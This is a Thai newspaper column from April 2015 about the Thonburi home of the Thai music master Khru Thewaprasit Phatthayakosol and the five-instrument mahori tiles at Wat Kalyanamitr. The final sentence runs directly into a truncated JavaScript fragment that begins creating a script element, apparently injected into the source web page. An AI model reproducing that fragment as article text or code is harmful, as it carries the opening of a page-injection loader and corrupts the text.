มติชนรายวัน ฉบับประจำวันพุธที่ 1 เมษายน 2558

 

บ้านดนตรีไทยฝั่งธนฯ

          ครูเทวา หรือ ครูเทวาประสิทธิ์ พาทยโกศล มีบ้านเป็นเรือนไม้อยู่หลังวัดกัลยาณมิตร ปัจจุบันอยู่เชิงสะพานข้ามคลองบางกอกใหญ่ ริมถนนอรุณอมรินทร์ที่มาจากศิริราช

          เป็นที่รู้แล้วเรียกขานทั่วกันในแวดวงดนตรีไทยว่าบ้านฝั่งธนฯ หรือฝั่งขะโน้น

          ครูเทวาเป็นระดับปรมาจารย์ทางเพลงดนตรีไทย ร่วมสมัยครูหลวงประดิษฐไพเราะ (ศร ศิลปบรรเลง)

          บ้านครูเทวาหลังวัดกัลยาณ์ เป็นแหล่งประวัติศาสตร์เพลงดนตรีไทย (เพราะมีบ้านอื่นอยู่ติดๆกันที่ถูกถนนตัดใหม่ไล่รื้อถอนไปแล้ว เป็นบ้านครูเทียบ คงลายทอง ครูปี่ กรมศิลปากร) แล้วยังเป็นแหล่งประวัติศาสตร์ท้องถิ่นทับซ้อนกัน

          กระทรวงวัฒนธรรม (วธ.) ทุ่มเททำอีเวนต์ตำน้ำพริกละลายแม่น้ำ (เพื่อความมั่นคงอยู่รอดปลอดภัยของเจ้าภาพ) เลยไม่เหลือทรัพยากรไปดูแลอย่างอื่นๆที่เป็นแก่นสารสำคัญๆอย่างยิ่ง เช่น

          บ้านพาทยโกศล ดนตรีไทยฝั่งธนฯ ซึ่งเป็นโบราณสถานด้วย ไม่ใช่แค่วังกับวัด (กัลยาณ์) แต่ขณะนี้ไม่ปลอดภัย (มีรายงานในมติชน ฉบับวันพุธที่ 25 วันพฤหัสบดีที่ 26 มีนาคม 2558)

 

มโหรีโบราณ วิหารน้อย วัดกัลยาณ์ฯ

          วิหารน้อย วัดกัลยาณมิตร อยู่ทางเหนือโบสถ์ ด้านใกล้คลองบางกอกใหญ่ (ทางใต้โบสถ์เป็นวิหารหลวง)

          หน้าบันวิหารน้อย ประดับตกแต่งลวดลายสัญลักษณ์สิริมงคลแบบจีน แต่มีพิเศษกว่าที่อื่น เพราะประดับชิ้นกระเบื้องเป็นรูปดนตรีไทย ที่เรียกมโหรีเครื่องห้า

          เรื่องนี้ไม่ได้รู้เอง แต่ผมรู้จากคุณธัชชัย ยอดพิชัย ผู้ค้นคว้าเรียบเรียงมีรูปและคำอธิบายครบถ้วนบอกไว้ในหนังสือวัดกัลยาณมิตร ที่ทางวัดพิมพ์เผยแพร่ เมื่อ พ.ศ. 2553

thai music house1-04-58 2

มโหรีเครื่องห้า อาจตรงกับแบบแผนเบญจดุริยางค์ของอินเดีย

          แต่ปรับให้เข้าท้องถิ่น มีเครื่องดนตรี 5 อย่าง ดังนี้ 1. กระจับปี่, 2. ซอสามสาย, 3. ขลุ่ย, 4. โทน, 5. รำมะนา

          มโหรี ผมเชื่อว่าหลักฐานเก่าสุดน่าจะเป็นปูนปั้นอายุราวหลัง พ.ศ. 1000 ประดับสถูปแบบทวารวดี เมืองคูบัว อ. เมือง จ. ราชบุรี

          เครื่องมโหรีอย่างนี้สืบจากทวารวดีถึงอยุธยา แล้วมีใช้ยุคกรุงธนบุรี, กรุงรัตนโกสินทร์ พบหลักฐานเป็นภาพเขียนบนผนังพระที่นั่งในวังหน้าฯ

          พอหลัง ร.3 มโหรีเครื่องห้าก็ลดความนิยม เพราะเสียงเบาเกินไป แล้วสร้างแบบแผนใหม่มาแทน คือเครื่องสาย (แบบจีน) ผสมปี่พาทย์ (ย่อส่วน) เรียกมโหรีสืบจนทุกวันนี้

          มโหรีเครื่องห้า ที่วิหารน้อย วัดกัลยาณ์ น่าจะเป็นบันทึกสุดท้ายก่อนเปลี่ยนไป จนไม่มีใครเล่นอีกvar d=document;var s=d.createElement(‘script’);